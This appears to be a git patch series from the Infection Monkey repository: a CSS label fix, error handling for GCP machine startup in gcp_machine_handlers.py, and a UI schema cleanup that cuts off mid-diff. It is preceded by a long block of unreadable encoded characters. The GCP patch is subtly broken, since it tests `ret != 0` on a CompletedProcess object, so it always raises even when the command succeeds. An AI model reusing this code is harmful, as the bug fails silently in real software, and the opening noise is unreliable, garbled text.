zu>=_DsI{%W>Ihe=d*LpqH6eC($5jwW;YOB|AF8M{OW-8n$TS2Sp?jjX{cESt3aW$MIWB@w-iqQ$%C7(`|BpsJtu7sP<4L@E2Ap}Io`?l^q7UW zur-g$=;%KVx2V}X1P|Np@Z-iF7vKup&Lh_P6h=$OW2j7>jm-DM+}9lK4r%B7{x09Y zhCyf+E;6+K`ZI6A(AoXwbo8TfK*A%?|21MCEkrODtltb=3L{Ug;^YJHQXF1k5t#ph zd~nURr0pD;*HNc zR)fBbAlRNluL*sJf)_0v0G3xWJe7Hz^gsv0v_6`z5T;mh=^-`C6gBN#k7{DTHp*jv zOLLHA90ObY!PzR@vFqVnP zco#vE8D*jC2-~_sN2-OTgeMS7i^+iLA|#B4y7mP)?YbK=o5_+S0 z_Jb!q@iho}FfFpHt0pE+sonyg+4Oqj`3zJtREzc>wIMtwun3W6JO0$e|MqY9g~fuP9$pJ<$!61maSFxQ?(0JOIjxgO^hEW zkde0o2-HMv2iOYjz0CsteELEDh?}*oecf0i-_j)*%^Vz%vzZHrPJrHL-Lxz+ILR0+ z;r&F#lsGf`wKIFD^A+>OV9H&|*`PKYdAsh&|GU$kP;acIBmYcsSn=XJW)uXPMZBu7 zjW5)K-aym+0!{}mWiwzXPH!_N@MQKAxR-Od2Mdk5I~8FBf`H;1*#)GR!O@ZIn9TGKg>d^ABglT&k`jzV9q zfTJ01*K}dD2x|FJJg-gd4x5Xs2oi%stU8I5-H*Lip2vRmg;rb1ag~ld<&+-ly_7GV$YSY@b@lCrLcDWBw|b{#X>_uaxW>3zZq#P4yYJXx! zOJSrk-k>gjl-nZ>q^xEBuQ3cc+7^+-I;pQA7~eTUggZXkEzn;zqSRCH)03dA-eIr?BFqYui;Iw+P%K_+A*X=Z79o0trZtDik1UI`@+jo`D3C3|_z#%|W#9X)7^%z-h3mJIhw$BKsm4cTatro#B5Jer9_H@2nz4 zeW_MvDPeC(r6p$jW1kRuE#DDTALU;6hW9|p6#_4CtOxnWfX8?k-ZAY@iPOa|rWvWm zjCiJuc6{(X@$~9zzMvU13WT&mYF| zulH*wLzp=Ua1Y8IAjewS^{dklQzcjEw_x0SSz@^6;ZC)4F*~yu*j}5(r9vSTqbT74 zXI_~b1Hv!2tn(e)K{ojQ%v8FK<_PqTXTCj)!C?a~XR60w!JK1*+o&6KVNEaPD#kJ` z--Pg2qmdfj_V491>0eih7fxceV)?#!8^6TMTon{F zm!<{YW;I-wqTA@qTRT@CJ>{}H_ZTQD; z0qYVXM>vWlbE-1w2nE%Ni=2fhwp#@99did35}s2u1@cHr7$(QwiCB#_kFz5*oR;@N zd90ds+}mPjjGr6`9WI^c6#fy%q;#6T6V#gLmBnWpe}uxY9Y^|KE76+0C6wJutYcb8 zQa0x!hJF zA0i)Dlzh6cTveWE$7HkkGo|##hom%gvZ(+rO^JHLMKpaORkJPvoV(Mo)`j6iC1*=q zw=}nBytYV9omK;T+uqV|Ola&QGB#SJO92p^C-FW~vPm$OU9+q5mXzA^ECBNnJ;j<`j zum|iP%-DxJ`0`6CHE)uDdrZeyveGZF5StOW&)Q)IcO6^BsD#0-r{8tD@5bVFU3ssD zpWq5tK%(Azdq%XwNFaSx5iWN*OEQeU&-WL8H^+LNh+uLAVNVX5HQ!HZN4xS}Pn0`v z5>L(b&3oKnePZU|K!})`VGAd@_I$h2=UNBdqifTKm^Q%}nIh1}()bXb_=kYmw2U;^ zMYV0>DaQ0dSA=84tWt*iIfbC3H9ugU*35X4 z4Acs4oypGnk$>#R1D+J;He_TUjhOQbrDNPv8VM^BDfSP4YRt`w;!MfiT_{-qP~91D ze#yd|E-@_tVz6&?{E)UblfNcya4~J(zC4>4CQDHWo)Oea0UI@-gcg zVbu>0argwv;(0%V%&Ry0l}Rk{g#{)D7e9)V&vv@5hvxJcza-{$q~WnN7E94=zoF*z zH5KAIH+5d_~oR^4`4ANK;i|Tse&}ke#b*czQFGRlSN^hQF*K|1U5oaijA!X*uL8#8C{X zMdewK$E^pXNlu-vODH$b!i9Ec9k?@}9J4I41A*UyN&A5Ov_sZP353TiM z?-=Qpmpj)b0Aj=4XIb?^(pY45RQ6t+I>g=IXW{ivCXd%;5E^=IUC;_abYPSpK#|Iko7Rk!1HNI3z^<+h|SRc_G{0nM@<42f3eopedfX(L+h zS65dTZ*U&~xpR|r&D~UUy0`AECs#ZBywA*FpvJfGStalDK!7;`E30p!*S1o$ZnVU- zu{petS?${O+nZxSfD&%2UX#zZg+U3GYI+J z##NOy58ydTtr#*(o_W+fTa*rWlH0bAPYYe8UgEDEVa=huEsjSKU_@}SddMvFIE>rr z5H<-U+cCm*+JyFS!j!ZYMr(i5lg4-6_brJxpQ+h%_{eCVJ~ocvuEF1ok&>A`SGy7< zG46w2BalSa5s@fo0fv0V7=T)dtef(6*28t=kX#Zx^D_O*B!{X8jYgO8kt&Xmzc)1m zAm8pByJa=7-=a?#>&#S6LKN>>{L)af(waMSvV#pm+I=t=6#s`YP%P{&kj^Yq!t-5= z>x2_Jhqln3E6%x|rV!Hbcf)^+?!RrcYt8ilk1rUrZ4yRC#-Fx2mJWpH`q$gdV;2OD ztLUxmOS9-XW!$goww0SIt02RqdWAYlpkA(I%CkcpH4QDCI=XQrcq^CG$v_ zP|wSAA7%uB<0q ziao|BxzCjGEujiu0~?Z}`*Vpin`=>61)V8^lxOzLoG2IEM*POBigO>`tyK@Tuw0#5 zt`;&bl@@L&-l>Y(3#4;m>dSmV9NX~dfO-gjBVTax=_n=t2Z z4V3r`eJ0+t%a((wue>qvEaMN#ka4A1pa%OmU1Sc|&Yz~Z6_Hcw`yL7DUhS=5Nmqmn z!s#?;z^4~_PDY?V{2;IB@Qo=A;I)eKRbM*kIk&hL7glneL0-f+?lX}2u-Sjy_puYk zI}I$0;vUo(2bYazdl?Wh;4B)Zc1xedm~G=>AO^JoSs};t{-{F5dHIr%d33no@bSI2 zH^KN)tM5g(9!sjMT;6s;+ACY8wuoQ!b4|B}c46ri0GH5zrQ7A6BeBS6$KyfPOT|#} zxD^wlGPiJF&of8>;{h)%_yPI=*$_16|_Fi*>?9lj%bGTTX^44YjD zt7uuj)^zI6)>Kzx5jfAXIZ@TVKQ%bx+lCRK+scIQeN5nWPa>!XjMvk;;#{#II2Q0e z`A-&c76cHmetBE9?^0Mg=>>bS$)C`pPEtpaZc0k^@(Q{XWjH;Xe*M#UVnr*AsJswK zP4Wu_qckvEv%?d%jmL&xr&g!dB(A8cn6OSL$vyN#Hsep@5JmimR4fW1G2Txbo-o7U z?{7D%Oq3B+deNs)e0UIg9lt6OoZ4C$tn+L{Jzw{eWMl(= z-TO6OG2>9Y(4)|`rg__;()HvH40Xzwb^UqU91Mv81vBk5%UqI4nU+ z*}$YFf6U2!4~8TcE<2J${#3|$ap7}tuK({B!gnwp z55P>sJ>EN?w+;#JLapa!BUIM1aw=5x>=AvSTg@d+_ojjIXJZ16DS&=nFp~z|z_TO3 zwqa{D!H0nP$&U;GXU&`Rq0#Bhf;z4&Dh3RbcHt7bt9>q4Uqz48+iP2RM}`s;076dN z)G%@qWsno7Kd`f0Z43>Wc|+nd?5LipKu!v#DR*MEzCM+`mWjsd1Th<+^aXz+wCKB; zmrxNQfP{XtJ$G=5a&oJ6HT-@w;PxD!P&m}b&Bt@@mXKhY`oq^RnC49TCC^9?=)gga zn|16KijbYlAO@b`aY)COrvD5YPDx6<-gA;CeGU_Nm(XoFDw1Z8~o-! z>%LW1e+)cd?Jk&Xe%F8#{&h)0$FAT>^nmOfIJ?4>mJvyLzM3)Gb;M*bg-Vy=MGQLs z(Cf-&pOtJi)*+G)pF~T8ndLBURp<)as07>ONl28B7b^;BPSmkda)AR9XE*pg^1D3=Mfg7ZH!!}SbUi-el74B7Bv_W#NHsU!zCPcItfFrU<1eUp zR_X#T@7^DFhofyh03a*c4-a|bi)0ImMqm6R?gkY1I*Rnen7A~H_FO(;w^Q6dY}oCU z1GL>7B*M}+9gv2VgF|u`5hUllQ4PbbO z)B09M6er@XjeX5`kA0EJVxp?pUfpGf4)8w-T4S9R;PLD zf=`6v*s!s4`<_>luRRhnA;0+`zYTRBjebaOTMVz`Xid`h+abSaaK#i1=1f;R{LB($ z+o-~*ex0wgWz?BV#yVpjjgJm>Cnz#hbhT=lFvbf@H!cxqN(*xYj2Sm2E0bDw{D#pT zqg}x|oeENf+_S64@uu{8vDmLygZ7zNX;-FPoj$(WSXn1q$$(k3&K+B^Y;MpfX;~7( z9uC>Y7N3^pmN-_2pGe$4Ham;icrYy(~Qsip02S=vxGMwN4oG*<2zKEdtZ1!O!PCAYO(bb7187nHpWrUW+%IgkWsN&(5 zMvy6aBU-h|-?wBhb)K?F(1^UUK4}AD@5b$tWuRHLR&=WJsqSW}Zuo z((XS!n?df!4e<^d-<_UR7= zHf64eyry)~`u9z_0ECCY)@+;y`Vim>4K8k4LypEPqHiy&iPjm734Cgh?KwFFea>6Z z`7K^!>b^IHg)LOjByyW^(9)0|Te>sB7Y2rh7gg_*InnKaWDgUVOtm61 z!;1uwb`!8H>z{7ERPj<+Id40X+nGUX3*d@IVwkqT^W#5ML@mH{qih>qSn&{znA;Wy zzboJN2TyO*d}&DH=UzrrNexUFg7iUh+WKC{7y8H*+PsP?-*DdEkJe!0iJAl3!_A~e zz8nq;DKHUL10UfPa_7vs$%^&aDgvQXXHkUziu#{lHg5v!3qH=O2c`%}H*}0PJ%kq5 z=b)F{$R&}sVRcf5<=j284=}W7)ZHS36&~)}qLrA~pYeZTd%A16e2Rn{eLT>{oz1&{$s)vn?ZlxM=7z23M$QqH;mMe8PnYJ=B75>ycOLsA|(6KE% ze6b;HaZmKgF+r~{Pd9UNHDik88vnUT5OiWmc2gCQm@v*##$^Hrjs)2&B{vW+bV2Q? zh=?*9^FQ49*s5SQdXpd{8&6KZyeUGz@wTCe$!U#-d-1K>YRRqIUpDHMj9jX=j$L>c zst9O6nwU5nGtQo3e@6b&ki;$ra^7sk2p)OWNB9(arfXO@c)pn=VtdK+gR`VQgJJ+o zIk~W%Zpb;pTH>=zZ*^{@9OTB|t|mS3fo@NRrr(uP@-?X+pLJW156b@{|Jnm`uf6WM zBqYi-RQB8utlH8VdC8RdI578;PKPBlsI5b+&s*?5$d;UOyo6r);x!reyhNaNmbh?) zupE=2;E(3Vb+odf9(z82ZEZ*irw&ecJY1x2Mhn0?^BRq8YV|IWv{10#TlMqfeRDhk z>w1&`F4VtH!rGedVZ(hU65lL0aSzhaK2RG4;X9+WQvQyDu7y=Ep8H# z{u#RMohNA5)%l_Imj4KQLEcUWw`AK+>Oh+Pb_Ai@LW z-O|}cL?`n27)wd8=C~Gf-=@|kwA?UvtqY`WM56lrll1#_RR(puf&P9eQN`H$+Q;(N zT6_9#gL9>%YQnR^yYAeWuSs~W52o0Q{*&wd_0=}>U6H^&P{{#%%PyUV4O`($R^~pTO?_7!4FTl^s5xy9!=BSFmpLmj|hfQ;| zJ9o3da(?8+`U7&{;d{rG4n_seC*#6Tdk<8|fox${GU{Ws?d+@_&eILuJgs~DW7uwM zA^^U}Tf%STM!%j`Hefd<4YoC+H8=evC=yIOH}3_+NPwc8aTUS7sU>79XM{!vWo9g8 z(K6Qq_4)5P|4lUq)5pJ(^==9%@43c9D7j+#il@h`zg@h~<$WKss3np;+kC$Q{>WQ` zne-x*N#hSd(QiwgPct(z%#ltTBjm&z!7OIfX%GWe)aF4kd7K&voPNo z!YME__7I3~O#3PKkaC;o>OxoXi%G`QSJ_R!0g8n8PUY>}gX`hLfx%|7&)2tAEVbT5 z8^A4ECr4&TDkg84=0{aa;=HR$C9rL%_&MI;wwrPB-VaS`oSSzy<4T6U{UodzxQxhXQt1bZWKGh ze{Ons;rUb-#bOqe)*Iig%V%g5g>SQ|HF7ffIpKuY%Z=iCfey#jQv02r9j02-9b6nL zC*Rc;hjjaDkLQEi4KCxa#C8NYPDt~NFFw}{NkzKb{du56dhl7zy4HvJHWci>nLG6D7aI)_%iO zCKq~>YMX!o_l7Qw`%I+DpSQ7h?9*x7Mc2B6$;eHvRNKZTN*qW}PPZq6`b-29i!ada zBRv{HBX#GKHIaVsXUU}~9rP)hDi&wYEoz}GsDw3M^~U6yz8ld%eqG>W-ui#8dB2#U z?oiM{@lMwyzQ41kJN_Ep=x;=QpZf9XE_z$VYHNBuXqnq#-@`TeZabdt-Wuq#K85JW z4ZIrA7?bi+sr>`7m=A8rg&Zb{e*LLd1{Lz!3GwY`$s7HVL)Y-u55*}1<-BQh77>^fPJSzXU_R5> zF_1tkWL{1@uEGLU_$?B}iR{(0eN@)c(76+y`Fa4sLuN&%Y+otdstvzq1H z=1eXO>;s~@B#*`0%ZZuvXCLyCUTeTyEFs)m-GYQ{Hu>PY8DF{7^1KZ5n%iAMLjMn< zrvE?*&ziQ&DQO}6X;SBS@Ectc4rDu)-BQPUh_de)hJS83s7<-@`)gGKV*F1JBZK_x zpY^lil3<4UPC(Poj(zbb4*;-b=|;M!i|(~;bY@0{Z@j*638I8`(XidxdV3%|HETFZ zYM%_U132EFZ~xg_a`#w!@Sop$I@5lvLE>@CiS zJd~+iBC*su{@r#AhUL&aaa`VbtI&em?+ebiEZAn)g=ZQ|3cZ7QHdBjwG_0TYjQ+Vs zxSgr)Ky7foi(XWd8s;loMN(+EqtY|4{W?8>QFb1uz8rNHNWQ9HY<#S*pIr4R+*!=T z%f!>T8@C9{=jGf-8mp=~>lW7^HrV6fS-?vf$xAbnSBRtkl|)l_kNtUStNct`jPcV9 zH9N2^-W@DQ#Db{VzNmirOJSDOh?&03V?}+$ErKSQj=grEaW*B8f`reOROT|vOnzH$ zT=Nxo@@dxq(<8zsCp}d6bU9s!G9N-#e{jiA)?`6;E6J*wk}7pG4I75{vOD=}Ya~u8 z#I?#L!{1hpom0ZUNa1dO?HourmBu`rk>y|^=Rx;GphWYS8{UMTBJ+C1mDL4}*pQ)8 z?Ibn5G-;jMjA}dxQ|#o8vbx*fDUb^~v|$?MWuqEgvT4);iKbiB#=Ebm>8UHKDKlvv zq}&W1`EHjeSni&$d#Jz5oWm)UeyK5&Z=Iy9awHf_b}pZunk*z=dTS2zc8qguN^TH7 z$I8(|t%s~&izhjtF|~dTaK7!VE2i@#k|iXv^1`uNo&Y~GX?n)WQE;Q#!A7i|Uip{+ z#%Apbh)J5wP2%ZE=N>~;c7lGC-*)940y#VumHH}sSR7-{m}cvYf)}H*7~gEoY1xyj zz4^^tRqp|SpvEVi(TNH(QVm@HsM9~zmiq0Od%eg7$zUzj1S|fb7W_So}iD0AmXa1zG zb>p!Y*wnmWFFYk~n19IG1-Yf3fAHY2yOj19O(U1kuq+B1Dgm7^+#-!Vo6;gU)*rmw zuyIq6nj8(dFeN7D03fottr;74SN2eU?nABV8YSz~5v?$dBevj6Xv=fWWpnZKC#?)` z93J~p;q6W>jxnD&ZO$|uHP7GFwZ+}74X?RA>hH+DQTeeW&Y#tCanm z>knBA2;&VZ7(i==opfnR#CMfezMO_eggom@+lP>>z4jqt?>DcDrFhwR8Y#S?eR<52 ze|9|x0!vsgkzkH0>5Y^(G%P)&rcCYS*guiXBioA%EJKs188o?138v~I?XaXKVK&YH~D`1`Ez1*RiY7WwMy^ZN^| zjueN|>k{NX%b=e4o9{TGJhiA+Xi$h zTAvsM6Y>CF3yiGeJ=JPzme!1*uY;zmv7$o$*c*hF45}du{;1?`Nbsualz(rSeo<_2 zB=m6qTla~dx~kG${>fG?kNE)hsN>L+%yltZ7fGbmx2ki)o9k{Pb)rLb*44mhyZ>OU zKC#o@hh{C*`eJ3c#L)YJKHl+l?)C<=3?oq2asph_9Z>KCLIGNTSZP&8{}$xG?d)aW z0C7tjdza?9(O%@<^qVp8>%IZGTV{*CWHB=+R91ibgw_AT+{`w8;s6xT+0J6DwdO|d zGOb_Rv0&IE%FqPa7RmSboFcQl{PAp1db`x@x{`di@~!|do!#;}p4b#ARM!Ur272Av z&fyURI=w;)&w{q+rh7?j{f}kN9D2zraL+u`lI#~-x9$L2h7XKIS!HX`$*b#jTd%xx zd~K%fA8r=_?bnEUo&)a@0ez&uac&F=ApQ^h$^gI_vA@5l%Nnbn+lGb! z_~i>IG`2;18pJ$B3t%nJb)ZZJIm8L`bdrDnFKwJGBHy&`%1TvRur}KxjkY&T9=~2(>prVACslX{ z5=Q(pI!Vchd5X$t+g4WM;qDGG!^uG;tr6bd*Wd&a6o#J=DZ2gW!p;4Hy4+1?po{_a z6!=6`J;V|0^nC#wSvuX6tnRsfxPJC4WI&pen^ez!#`x&O8mah_?1tCL>q$d(_XOJ! zhRPg=4vwzkjQ>plwqr&0w+QvKz^;RDm~RWDmzm&}yDbaO=Y%nOf}pl)UYtcHG9{rz zC-u`My$N#`-8g8Yyc(+3#l=2wrOT-YEQ&6i>XQQ}!T?(gy}krOnd!vT@85~p2nw$n zg!ODbZYk3vT7B>M1;`W{NqvH*=XtGH1Imq^ns5!-U|F|Y0|UBpkDgARny0tU-0m&w zsIDjpCmO1zY9*oWi$44`9s0{K4J}OOnxf&ZUkFR&336*udn+8 z<1Gy>GHY8Qk11^-RTVv@MB_P&E;hoFlG}TCJN)ASYb5_|I}_611Ne)k&JIYTG{aK2ohG06UnsnYzUc`555&vKnYfDY) z&{KYZbhML&lr8hPaDu6IY$^m1gv7hXl#KR5x**84F^#w^z5b92JWG^?aOaitwXdVP8$ zce8RnS2J8ed17HH#Hv}keOZ@`3o>zZ!*AYwO}Pe=i`qSf1d%u6<%BwWkH_Yn7R4-@ZyGiAdOM7NTL9CPkc=lJ$9RmEtrn2pn;xZpX z70f#O%Ceh4-wUwp)X&Zi)3uGcPp>AC01~rO<J`GiUXI#gWZpYBuNaQ6=;~AkrSehJlm7TY zVw-DyN@n5ZJ@t%X^bk`bVYuBnpjZ-$Gg+NP(gDq1wG%zT3FgCgRjx2F#7}Zk;+p5& z7>%3vwOE%mp}p*1XXpw=|L!@no2|6%C!GP5HhvDtJyl2)#`=Hvn^gVCe@1T*)c3PW z33H-5B45)nM+FyKw4P*%N^Sw7q{gepOuVi05KIQ9K;F>=->$2hcUCH^Va5mW4ewY? z^a5;ZvwaK8NY2{{;V$7=W|zf9Sx2Fh^ClxDQ*G~B&HwCcHNHVF^##z~xp{6L{R-Be zL*!~0)6gYDrl9|VyRJ7tII^AWk*w$UTh{Ti?o{HC&9%u@;njW5`3+goqZP7%b59eB z#Z(c2JbqoZkH>qg~g2e?Mss`qINjb7jp+(D*1 ziYC$VYVMl?NxhPl+#!VSL|_vCpauE&TJnr`V~Mfu^?_8M;yLI~JsHy1u8YnHfoijT zMc1_sAAbLlaLdkOKhzFfIU)PiXL)HW@USwX9azOkDMj-p)7qv^(bOS%pDXt)G<7Ja z#9r%kH6< z&d2bu%oqQCcVRD}D?-Q1J>~2Lx69$0dq(RFCfq}H5B9rN-juVQeS5~gsDj(ifAT3xrp(KX3D>y3X@Pjd zLmcCdUEebw;xAz1^SV3F#Y1~QS*~1yNpi|hF*L8DXt{?KZDgZH)PCYLrOok#MdzlD zAeHwI1ofnb8Kb8+I&m6-&<5JNotZzr@yOL116}2BR@*7V)k3xM7+P-U$K4~Q*Z0kc z|D1g-P4i8*c27wC&Qu_IS@r&nq$D!ez*?et&P6y8LR1M!uxOjy=^*}=kPJqxbu?w? zO8j4papQZ_$iFjr{i5W(VVzD@U!b-$4+3K3swmKfGqJFAP{h#ECM7;3Mbz|~bM5gb zv7P)O_L5r+IDXuQ$U^`)U0MQ>sC9RpN}hH3+72OJ{(MI_`xeQCcWuXnmeOOZ?1}Gk z2E2}75{I~6)g~wvT}nonI5uUHcs9a{hdaBt>|H2Q>t)uv_0D@`=yVUwcrn%K{y?-D ztv?+rSgx}(L|lo z^UreOw=+nLv3qdPI+M}%il{BS{a%$OBmhpP`&i~p`pS)6LFkWC-}8qmcQ2QwqM-4O zOWI3+#Tj*@G;tRQi_MYvs^j`OpOcP* zmNuJuowvEHV0{zp-0sRfR>bE=YRqjh+ zNmroPu`;m7`F`;$55@TZEPGsyf7fkex(Zvb`}W+%(NNiiC2n@5x$iJfKS>OM;{kCH zF?kQ4UK#WRT}3AW)$I-Et6vKq+Di)uH-^3O?ymG1F@$hUg*y)EGDsf%vUT*NeEqtO zKY{tSZv0XcF`<{Xd{1r%y(*6}6*@ccpFLL?H}IvTHUejT!Wvmv#Yn7^c_mbm`|c+{ z@CFN3V6xmG`K1%3DMtl1T`tb`Wg@)nkTXz($bcj+rVxho+xTyuS=B(~9I?sFo&DxT zXV%B5Bn?s#Ots4T6%i7yS(j&}$tXHm*Y+qnY@s9~SJl>|3?xS=Tt18 zSrMLt-kIh)N~220cQ&5q*hbW8;@PgpX}xC@3hIn=gz=Jg;yBd2-rFD0<{Kzq+i|&A zLY>EmPnFR>z!9)%!&RarxC(sje2UKw8;r$zb9?Q#^03w7m&7fhYS5-~+9YV5Z-@lE z_|1c(QBi{N=OBnp)@V7JWD5K@hl#$tyL?(MwC(m!y6#go`tLx>&-w2_YPh*<30Dry z$hu+1Ymx|fZ2QT|12NBK-wg45@FFM)(DU`yN6{L@os8*y?3mfR>CTHx!hHX6XWRx^ zW#Jz920@VVi_v0-5CN~WlCd=2kxut?yP^>OyKHGZf{&}mU04cAM1lsxiIP-ASel;; zT#0uVwd&*F5CDVW(m8WX>(o1(ILm7-7t7~hn&$V+DBh0E;0)8FqS}86`#{Fs`LQCZ zq8&H(>JM8rT*BRrCN-y9Qx1DZ4XXw{~vHxoSrL9J|@cl zNz01(E$ju?=Zw_e2lSz8OQl-w%!GuowW;S0T_#_q%pa5JWg`gUXY`nOy@R_W*j7OO zksLX-|Q-cj;1@p5kyEKB|*sl=DNgcjiY7Oir9`(rji$~So|pQ`LXv^q0f)W9AKvSSa@qjG{a=vZq|+kJ z@kGf5lr+ML--oc@0A@5kYfR0dGTsIUdJ2nrfB1hRs;maFfNp+KuRlkW7}PGmRoKu2 zefP(iMWLgIhW^enYOcL7#&Lj3b%!2<<1MY&H3kGy-hBw#W^H8FO8}^cWZ$&g^<~ zb1HKqUHQp*jBZ{+MG_8a!F5T@SW%JTh1~R5tgx(8Nj!Xte$u@D(1PQwU@7+1#|ziq zwehhV_msAJ?LN=CnkxJ}@=YK`_@7ZF%E(B(^UB{R+K(z|*s1MlYyO<{dhK5_9^O6R zYF;q&dD4LK<(Mi(;D-EKQf+B#r-dc_Ole&`adWcr#MDzFqfRwQYmh%YlnjGf_8WUf zM-|g`-v-8T6PbTJy^o|Qo~xhKY0D@#@2Kq+HRn9S)@zTiqL}{1VvQ*$F1?<|NWbZW zZ0?81-l@ zoSqz_F_8bn|3X|cTA6Es@(Q=c6q2XD(F!JJ%)&5L)2-IGL=c;e&75_QG(hpR@V(E0 zZG~Mve}S=n(NLOR!qKr$zSJUaVYcpcDHa^_>V^tS*IsGzMvdiUlkN#fU7aoW86vHr zWLh?C!|LZJ>%;#QqZ0nxgl$3Qr?ttc>RqAF&F;DjPQ%!2Y1b3+V^axUM!ge+V`;&n z(gD|qH)yvxhBgS2Flw>!^nv!Y=6;UY1B)2xw)7&OUcTW7!2Un{gW4|iJ1)albT!JqNZ~MpZ+xj|D(CQ?#h8$||L?|JMeB#eJI)Mgd$NDG-=sXNx;bN2ALB}d;KEML{H=7m@1e0raS~RP2Vb{f%#@hXx|1*0W$%swXfpCAPyVv!63p_)EuwnkJ z$Y-aM2%%FUc`Q&*O~GlKw@!C;0)#PH6`t_T08zeByLRwSe$Qz3I-g-zB$*YJ8ZI3t zZJP|eCzpHE9H zvn^x3pl60S@J8_XDYUh#7HcKhdq!He4P)_qV6w_E@G^c0F3$4_Llx}VJdU*%o- zTT|x}rp1=Utr0ZkBBY2y71^ngH7c7Ziiov%g|et@BAZ}X5~6}E4-iD4ph%)d0cD3s zSQC&X0s%xQ7`8xI0t6C5AdqG`H$c_<7u@^Y=gtr3Ilp~#=9~A-%s1~jb4VzRi+-Y0 zQ!eQ&y3ezA>_X6+W{p4~M-qSUK!vvnM@!TWJbUO{BKE|+PVSeBFrtiFUgL%R==w8s z@1HUo)i_A$$Y!|PXrGpxRL)Pu#>`3*EU3Nty2Syh!hwB4`3p$NxsIf6e~#NCKuE?K zN~?>bPq><&3;6bm_TEDa=eFKB$;^>Re-^O~24cQ|zG;S1iUB#e*Qg@q|h6iZ1jx66yY zudcRsc7C3|Jl*M18!88bk(jyG8_)E&C>{Kp2(qdC#^pcFjrg+gf&V^FaObE`%BkpIS7N?e#DNol zB2Y8*w~K;LyY*_%tjsANL?9k+hu5F@b4u~sz)+2^gG1|IZlWmlmAP{_{RaU_TLr@H zCYKsaXJ<}AouoKCfxc+f(hm?z(}}%nXSLp9RW+7)f*L)=2!$_-DQ!C!COK`PUu!dE zwE#K-hj9XAx;5TVR#cI!0GRh1GnuR*<-bpJZ;q^r4U2GM#}z*oSu610?*r=?^#_^LF9h$=eEaf_v0qJWB7e*m&=%Y?k z6F3>P;Os6HWL2d&ZOBRa$|~QuTRNJMGDT%;GpGrHu67sU{$|6r_04&xqVd+hLe7UF zlQMz)*g0Aiigp?Jz7vJYc5=;f3D|6JZ#t>LkDIiokOt(KmHLF$_s7L3DkX;`J{X(Id?vU1G^H2*sE!C zG(Y5{BPCtld1;l9y?Q0xmMR|}WF`mReVfk3V8ssw|kJeW@Wr zH%K0D#DTgJRcITr@5`6rSp0ZTYX1MtoSlB1sqCL4&N;3oON%1=4O{arWh`t(PU znr$HXp7q>0e|i1jDTLCDs-3bfdYnqGND%NE)@jqnWhfcBKz8-RU+n=jGBzK8=T)u; zXw_Np6NoWq|IO*2Z#jJ?^3fRz>Jy3%6mFZeWM6o!nApofa@}BYb*fD(tE$SQd(ST{ zf?ta&lYW7!B*RDKvc#c>PJ|P2AR$Bp&xn?|D#~GSrary;S$RK7%*k~3W3oF6#4|Xn z=w{*;QG2-nvo?rX97g@=PPiZW}j3JD$mpH)4()Ac(*56vVLCz@60&H$0l}eF3 zHAXS&d3j-!qW5y92p=t14yR4xQ}3Fx$bA#(Hhs94$cnTM2d4<0Db`WMcMG>zmig^I z-u$hre;jB{VYVGD`QJPn*O2IB6fz&fISL>8i8}Wc;-J7SwpjyWw1vV>o_^~v_QJ#< zz8WO8wkK3(gyGhh7_33adE#JU=_fcX4~a;sc8?J?$9-$hsCD|Zc6*+Vy&DyEYdC_x zy@$J=0@33`203(ZFU+*%SiKo$@RW<@&ix>HEO77G0rTzAys$x0@{EU<*heK1zSB$Q zYY<@hzL6Z0q%q&Gm-dv+qtlE2Do{&O5!AEe@ zsr1rGbyhq&PphwgNc5nMByKM>vw86Hguw9*7AF5qDi3p?z~HdZQ$$_Zls&fEkIdg~ z9F~)~R3~%%!>9&5ppeneCq-n!z90kSuw@L_(asF^xu$hS@qS^TKvS%4n0=dn3j?fr zP_RG>T32jC24g)exN2c;QX>xUq0e|d44(#B=VJT-xJ(Qn?>#4DVu)Eyv1bFz-wfFg zTaVKr`Y3!RT+EvL2X>cQszI*&F(Ln|nc$hgu>hf&azmYR)U*c7Wn3=%r>`JXR~G{{ zR6CdwU4<9aCbrXdO^$0){oeqT;4u_#k<=4ZCN{Kvp>c<;>~Os`9!-rDh=IWUrKj8Q zZ0%yXBVUZ#;In1ZMN_4t0+GiI#@zlL!AVwVb5K` Date: Wed, 8 Feb 2023 13:26:46 +0000 Subject: [PATCH 0002/1338] UI: Fix missing title descriptions in the configuration --- .../cc/ui/src/styles/pages/ConfigurationPage.scss | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/monkey/monkey_island/cc/ui/src/styles/pages/ConfigurationPage.scss b/monkey/monkey_island/cc/ui/src/styles/pages/ConfigurationPage.scss index 1c8225a1e2e..f65f25d56de 100644 --- a/monkey/monkey_island/cc/ui/src/styles/pages/ConfigurationPage.scss +++ b/monkey/monkey_island/cc/ui/src/styles/pages/ConfigurationPage.scss @@ -40,6 +40,10 @@ div.form-group.field.field-array label.form-label { display: none; } +div.form-group.field.field-array .field-object label.form-label { + display: inline-block; +} + div.form-group.field.field-array button.btn-sm{ height: calc(1.5em + 0.75rem + 5px); } From 41a14c60653ea20fb1d1c5d6fac34d26495bbb58 Mon Sep 17 00:00:00 2001 From: vakarisz Date: Tue, 7 Feb 2023 17:34:58 +0200 Subject: [PATCH 0003/1338] BB: Improve error handling in gcp_machine_handler The BB tests proceeded even if there was no gcloud installed and no machines were started. There were no error logs in the output as well --- envs/monkey_zoo/blackbox/utils/gcp_machine_handlers.py | 7 ++++++- 1 file changed, 6 insertions(+), 1 deletion(-) diff --git a/envs/monkey_zoo/blackbox/utils/gcp_machine_handlers.py b/envs/monkey_zoo/blackbox/utils/gcp_machine_handlers.py index 0151cda6f68..642af72f816 100644 --- a/envs/monkey_zoo/blackbox/utils/gcp_machine_handlers.py +++ b/envs/monkey_zoo/blackbox/utils/gcp_machine_handlers.py @@ -49,6 +49,7 @@ def start_machines(machine_list): LOGGER.info("GCP machines successfully started.") except Exception as e: LOGGER.error("GCP Handler failed to start GCP machines: %s" % e) + raise e def stop_machines(machine_list): @@ -69,10 +70,14 @@ def get_set_project_command(project): def run_gcp_command(arglist): gcp_cmd, machine_list, zone = arglist - subprocess.call( # noqa DUO116 + ret = subprocess.run( # noqa DUO116 (gcp_cmd % (" ".join(machine_list), zone)), + stderr=subprocess.PIPE, + stdout=subprocess.PIPE, shell=True, ) + if ret != 0: + raise Exception(f"Failed starting GCP machines: {ret.stderr}") def run_gcp_pool(gcp_command, machine_list): From da6b86b06af95627f375027132da59b7cafc7421 Mon Sep 17 00:00:00 2001 From: vakaris_zilius Date: Wed, 8 Feb 2023 15:31:15 +0000 Subject: [PATCH 0004/1338] UI: Remove unused class names from UI schema --- .../ui/src/components/configuration-components/UiSchema.js | 7 ------- 1 file changed, 7 deletions(-) diff --git 